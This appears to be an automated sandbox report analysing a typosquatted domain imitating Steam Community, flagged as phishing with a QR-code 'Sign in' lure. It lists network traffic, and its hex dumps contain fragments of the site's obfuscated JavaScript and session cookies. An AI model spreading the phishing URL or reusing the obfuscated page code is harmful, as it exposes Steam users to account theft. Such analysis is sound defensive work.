https://store.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=englis	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/1086940/Baldurs_Gate_3/	chromecache_254.2.dr	false		high
http://api.jqueryui.com/shake-effect/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.steampowered.com/app/1144200/Ready_or_Not/	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/cta_hero_hardware_pt1.png?v=2	chromecache_254.2.dr	false		high
https://partner.steamgames.com/steamdirect	chromecache_254.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/	chromecache_254.2.dr	false		high
http://api.jqueryui.com/bounce-effect/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/icon-steamworkshop.svg	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=NXam5zydzNu8&amp	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/icon-earlyaccess.svg	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/cta_hero_steamworks.png	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&l=	chromecache_254.2.dr	false		high
https://steamcommunity.com/favicon.ico	chromecache_205.2.dr, chromecache_262.2.dr	false		high
https://store.steampowered.com/app/2909400/FINAL_FANTASY_VII_REBIRTH/	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/2694490/Path_of_Exile_2/	chromecache_254.2.dr	false		high
https://shared.fastly.steamstatic.com/store_item_assets/steam/apps/1144200/capsule_231x87.jpg?t=1733	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/2384580/DYNASTY_WARRIORS_ORIGINS/	chromecache_254.2.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
23.217.173.175	unknown	United States	16625	AKAMAI-ASUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.102.22.125	s.team	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.19.126.91	community.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
95.101.149.47	store.steampowered.com	European Union	20940	AKAMAI-ASN1EU	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
172.67.216.145	staemcomnunlty.com	United States	13335	CLOUDFLARENETUS	true

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590397
Start date and time:	2025-01-14 01:07:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://staemcomnunlty.com/glft/91832
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.win@30/291@40/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Input	Output
URL: https://staemcomnunlty.com Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://staemcomnunlty.com
URL: https://staemcomnunlty.com/glft/91832 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": true, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://staemcomnunlty.com/glft/91832 Model: Joe Sandbox AI	{ "brands": [ "Steam" ] }
	{ "brands": [ "Steam" ] }
URL: https://store.steampowered.com/about/qrlogin/1/1548911109135758962 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "INSTALL STEAM", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://store.steampowered.com/about/qrlogin/1/1548911109135758962 Model: Joe Sandbox AI	{ "brands": [ "Steam" ] }
	{ "brands": [ "Steam" ] }

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://staemcomnunlty.com/glft/91832

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Downloads\1b82c1ac-a2fe-4e30-b103-d8da8b35443c.tmp

C:\Users\user\Downloads\648f577b-41cf-41ac-b901-c132382be949.tmp

C:\Users\user\Downloads\Unconfirmed 765878.crdownload

C:\Users\user\Downloads\Unconfirmed 782710.crdownload

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Windows Analysis Report
https://staemcomnunlty.com/glft/91832

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 23:08:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.970381755276698
Encrypted:	false
SSDEEP:	48:8MMdEToEiXEH8idAKZdA19ehwiZUklqeh+5y+3:8ML/iX3H5y
MD5:	5BC68C1643DECB391089B2FC2501EBE8
SHA1:	5C2FBE1953E7148BC8ADB56E201A9A8A67FF91A9
SHA-256:	F9FC98A36A872B7E6A7F318A2CEF1F8ED4D850AF80B90FA2AA7D495BCF5A2EE3
SHA-512:	8B300C64188C3D59081BF16966EC61FC29FE6E68B1B70E7B0BBB48B874EE47DFB8ACFF7186781658ADE12033250BA9E1552645DFFE96AC5A9873FD18AE5E65B2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....;;.u.f..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 01:08:36.644777060 CET	53	60838	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:36.704485893 CET	53	57648	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:37.660753012 CET	53	65054	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:41.317892075 CET	63353	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:41.318022966 CET	60085	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:41.324569941 CET	53	63353	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:41.324929953 CET	53	60085	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:42.764401913 CET	56007	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:42.764605045 CET	64551	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:42.776055098 CET	53	56007	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:42.777976990 CET	53	64551	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:44.209309101 CET	53	54002	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:44.809566975 CET	65277	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:44.809768915 CET	59291	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:44.810786009 CET	57523	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:44.813663006 CET	52795	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:44.816744089 CET	53	59291	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:44.816781044 CET	53	65277	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:44.817631960 CET	53	57523	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:44.822294950 CET	53	52795	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:45.759227991 CET	53919	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:45.759529114 CET	61053	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:45.765971899 CET	53	53919	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:45.766199112 CET	53	61053	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:45.882778883 CET	50291	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:45.882936954 CET	51711	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:45.885242939 CET	53087	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:45.885581017 CET	64855	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:45.892075062 CET	53	53087	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:45.892481089 CET	53	64855	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:45.902215004 CET	53	50291	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:45.902333975 CET	53	51711	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:46.387217999 CET	64470	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:46.387403965 CET	51260	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:46.398691893 CET	53	64470	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:46.426542044 CET	53	51260	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:46.857573032 CET	52936	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:46.858728886 CET	61583	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:46.877666950 CET	53	52936	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:46.878197908 CET	53	61583	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:47.268430948 CET	62551	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:47.268723011 CET	51920	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:48.268410921 CET	53	51920	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:48.268424988 CET	53	62551	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:48.339745045 CET	62818	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:48.340276003 CET	59267	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:48.361833096 CET	53	62818	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:48.381589890 CET	53	59267	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:49.501770973 CET	52243	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:49.502032042 CET	55823	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:49.509098053 CET	53	52243	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:49.511357069 CET	53	55823	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:50.852761984 CET	65279	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:50.852948904 CET	53617	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:50.860362053 CET	53	53617	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:52.092231989 CET	61113	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:52.092384100 CET	64803	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:52.100506067 CET	53	64803	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:53.636923075 CET	57679	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:53.636977911 CET	61288	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:53.648192883 CET	53	61288	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:53.657052994 CET	58717	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:53.657218933 CET	56999	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:53.664619923 CET	53	56999	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:54.423753977 CET	60482	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:54.423932076 CET	64091	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:54.431807995 CET	53	64091	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:54.441409111 CET	49811	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:54.441590071 CET	63415	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:54.448354959 CET	53	63415	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:54.863611937 CET	53	51290	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:56.577881098 CET	58243	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:56.578035116 CET	51040	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:08:56.584685087 CET	53	51040	1.1.1.1	192.168.2.5
Jan 14, 2025 01:08:56.584754944 CET	53	58243	1.1.1.1	192.168.2.5
Jan 14, 2025 01:09:13.575305939 CET	53	54847	1.1.1.1	192.168.2.5
Jan 14, 2025 01:09:22.485642910 CET	53186	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:09:22.485778093 CET	52841	53	192.168.2.5	1.1.1.1
Jan 14, 2025 01:09:22.492647886 CET	53	52841	1.1.1.1	192.168.2.5
Jan 14, 2025 01:09:36.514630079 CET	53	50318	1.1.1.1	192.168.2.5
Jan 14, 2025 01:09:36.593389034 CET	53	52613	1.1.1.1	192.168.2.5

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:43 UTC	671	OUT	GET /glft/91832 HTTP/1.1 Host: staemcomnunlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 00:08:44 UTC	1255	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 00:08:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; Path=/; Expires=Tue, 14 Jan 2025 04:08:43 GMT; SameSite=Lax Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM; Path=/; Expires=Tue, 14 Jan 2025 04:08:43 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC
2025-01-14 00:08:44 UTC	623	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 33 61 58 70 57 6b 53 38 69 56 77 42 6b 4f 62 6e 34 46 77 6d 32 79 6b 76 7a 50 78 54 51 25 32 46 73 6b 5a 45 4f 6a 41 6c 35 31 30 45 43 63 78 67 50 6d 43 71 7a 59 39 6e 38 45 32 77 52 35 44 35 31 46 31 47 4b 69 59 44 33 38 46 65 70 75 68 59 38 4e 65 6f 34 4e 79 74 75 75 67 68 43 70 58 41 43 74 6c 37 67 65 42 6f 69 56 50 54 37 51 61 4e 67 50 32 4e 7a 32 76 31 36 46 70 6d 48 48 7a 36 6b 56 6d 6d 70 32 41 25 32 42 6b 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3aXpWkS8iVwBkObn4Fwm2ykvzPxTQ%2FskZEOjAl510ECcxgPmCqzY9n8E2wR5D51F1GKiYD38FepuhY8Neo4NytuughCpXACtl7geBoiVPT7QaNgP2Nz2v16FpmHHz6kVmmp2A%2Bk%3D"}],"group":"cf-nel","max_age":6048
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 35 33 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 53c0<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 27 2c 27 51 7a 5a 2e 3b 6d 78 48 5b 4d 67 2a 39 45 27 2c 27 78 6f 54 67 70 40 7e 64 50 56 36 27 2c 27 44 32 77 62 4c 6d 6f 4d 4f 23 49 62 55 2c 21 6b 27 2c 27 48 72 64 48 56 27 2c 27 64 72 57 66 53 5b 41 27 2c 27 64 50 4d 3d 61 5e 55 43 27 2c 27 64 72 7a 67 62 27 2c 27 65 50 28 67 2a 5b 2f 4e 78 53 49 3b 69 39 4d 27 2c 27 36 69 6d 66 4e 5b 55 43 2c 52 43 76 65 78 38 6a 2e 49 63 3d 79 3b 6f 65 61 55 32 75 3e 78 6a 4c 64 50 42 32 66 2c 78 76 23 46 5d 34 70 45 6e 6e 2a 55 5e 49 27 2c 27 32 61 56 4b 65 2c 41 27 2c 27 66 72 4e 4b 21 3d 5a 3b 3b 52 27 2c 27 26 7a 6d 66 3d 5b 67 65 45 24 3d 23 7d 2c 60 6f 27 2c 27 64 50 40 4a 76 29 63 65 47 27 2c 27 43 6a 2c 3c 62 2c 41 27 2c 27 72 72 65 48 74 40 48 5b 51 53 27 2c 27 46 72 68 2b 65 3e 65 24 78 23 79 27 2c 27 75 Data Ascii: ','QzZ.;mxH[Mg9E','xoTgp@~dPV6','D2wbLmoMO#IbU,!k','HrdHV','drWfS[A','dPM=a^UC','drzgb','eP(g[/NxSI;i9M','6imfN[UC,RCvex8j.Ic=y;oeaU2u>xjLdPB2f,xv#F]4pEnn*U^I','2aVKe,A','frNK!=Z;;R','&zmf=[geE$=#},`o','dP@Jv)ceG','Cj,<b,A','rreHt@H[QS','Frh+e>e$x#y','u
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 43 6f 64 65 2c 63 64 36 51 45 6d 3d 5b 5d 29 3b 72 65 74 75 72 6e 20 76 4c 56 34 51 4a 4a 28 48 61 52 4b 45 65 41 3d 3e 7b 76 61 72 20 6c 33 72 4d 52 7a 77 2c 64 4e 42 76 48 79 70 3b 66 75 6e 63 74 69 6f 6e 20 54 6a 57 68 4c 70 28 48 61 52 4b 45 65 41 29 7b 72 65 74 75 72 6e 20 42 57 41 36 46 4f 5b 48 61 52 4b 45 65 41 3c 30 78 36 61 3f 48 61 52 4b 45 65 41 3e 30 78 34 35 3f 48 61 52 4b 45 65 41 3c 30 78 34 35 3f 48 61 52 4b 45 65 41 2b 30 78 32 37 3a 48 61 52 4b 45 65 41 3e 30 78 34 35 3f 48 61 52 4b 45 65 41 3c 30 78 36 61 3f 48 61 52 4b 45 65 41 3e 30 78 36 61 3f 48 61 52 4b 45 65 41 2d 30 78 32 31 3a 48 61 52 4b 45 65 41 2d 30 78 34 36 3a 48 61 52 4b 45 65 41 2b 30 78 34 33 3a 48 61 52 4b 45 65 41 2b 30 78 35 37 3a 48 61 52 4b 45 65 41 2d 30 78 62 3a Data Ascii: Code,cd6QEm=[]);return vLV4QJJ(HaRKEeA=>{var l3rMRzw,dNBvHyp;function TjWhLp(HaRKEeA){return BWA6FO[HaRKEeA<0x6a?HaRKEeA>0x45?HaRKEeA<0x45?HaRKEeA+0x27:HaRKEeA>0x45?HaRKEeA<0x6a?HaRKEeA>0x6a?HaRKEeA-0x21:HaRKEeA-0x46:HaRKEeA+0x43:HaRKEeA+0x57:HaRKEeA-0xb:
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 20 78 41 67 30 6b 61 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 78 41 67 30 6b 61 3f 6e 65 77 20 78 41 67 30 6b 61 28 29 2e 64 65 63 6f 64 65 28 6e 65 77 20 63 64 36 51 45 6d 28 42 57 41 36 46 4f 29 29 3a 74 79 70 65 6f 66 20 48 61 52 4b 45 65 41 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 48 61 52 4b 45 65 41 3f 48 61 52 4b 45 65 41 2e 66 72 6f 6d 28 42 57 41 36 46 4f 29 2e 74 6f 53 74 72 69 6e 67 28 27 75 74 66 2d 38 27 29 3a 64 4e 42 76 48 79 70 28 42 57 41 36 46 4f 29 7d 76 6f 69 64 28 54 6a 57 68 4c 70 3d 6e 36 42 41 35 42 58 28 30 78 35 35 29 2c 57 55 6d 64 6e 49 54 3d 6e 36 42 41 35 42 58 28 30 78 35 35 29 2c 6c 6b 50 6a 55 6b 68 3d 6e 36 42 41 35 42 58 5b 79 67 39 51 74 49 28 2d 30 78 35 34 29 5d 28 79 67 39 51 74 49 28 2d 30 78 35 36 29 Data Ascii: xAg0ka!=='undefined'&&xAg0ka?new xAg0ka().decode(new cd6QEm(BWA6FO)):typeof HaRKEeA!=='undefined'&&HaRKEeA?HaRKEeA.from(BWA6FO).toString('utf-8'):dNBvHyp(BWA6FO)}void(TjWhLp=n6BA5BX(0x55),WUmdnIT=n6BA5BX(0x55),lkPjUkh=n6BA5BX[yg9QtI(-0x54)](yg9QtI(-0x56)
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 67 39 51 74 49 28 2d 30 78 35 35 29 5d 28 76 6f 69 64 20 30 78 30 2c 5b 30 78 31 37 5d 29 29 3b 63 6f 6e 73 74 20 6c 33 72 4d 52 7a 77 3d 5b 6e 36 42 41 35 42 58 28 30 78 65 29 2c 6e 36 42 41 35 42 58 28 30 78 66 29 2c 6e 36 42 41 35 42 58 28 30 78 31 30 29 2c 70 52 54 45 55 79 5b 69 70 76 43 65 38 28 30 78 32 62 29 5d 2c 70 52 54 45 55 79 5b 69 70 76 43 65 38 28 30 78 33 30 29 5d 2c 6e 36 42 41 35 42 58 28 30 78 31 33 29 2c 6e 36 42 41 35 42 58 5b 69 70 76 43 65 38 28 30 78 32 66 29 5d 28 79 67 39 51 74 49 28 2d 30 78 35 36 29 2c 30 78 31 34 29 2c 6e 36 42 41 35 42 58 28 30 78 31 35 29 2c 6e 36 42 41 35 42 58 28 30 78 31 36 29 2c 48 61 52 4b 45 65 41 2c 6e 36 42 41 35 42 58 28 69 70 76 43 65 38 28 30 78 34 35 29 29 2c 63 64 36 51 45 6d 5b 30 78 30 5d 2c Data Ascii: g9QtI(-0x55)](void 0x0,[0x17]));const l3rMRzw=[n6BA5BX(0xe),n6BA5BX(0xf),n6BA5BX(0x10),pRTEUy[ipvCe8(0x2b)],pRTEUy[ipvCe8(0x30)],n6BA5BX(0x13),n6BA5BX[ipvCe8(0x2f)](yg9QtI(-0x56),0x14),n6BA5BX(0x15),n6BA5BX(0x16),HaRKEeA,n6BA5BX(ipvCe8(0x45)),cd6QEm[0x0],
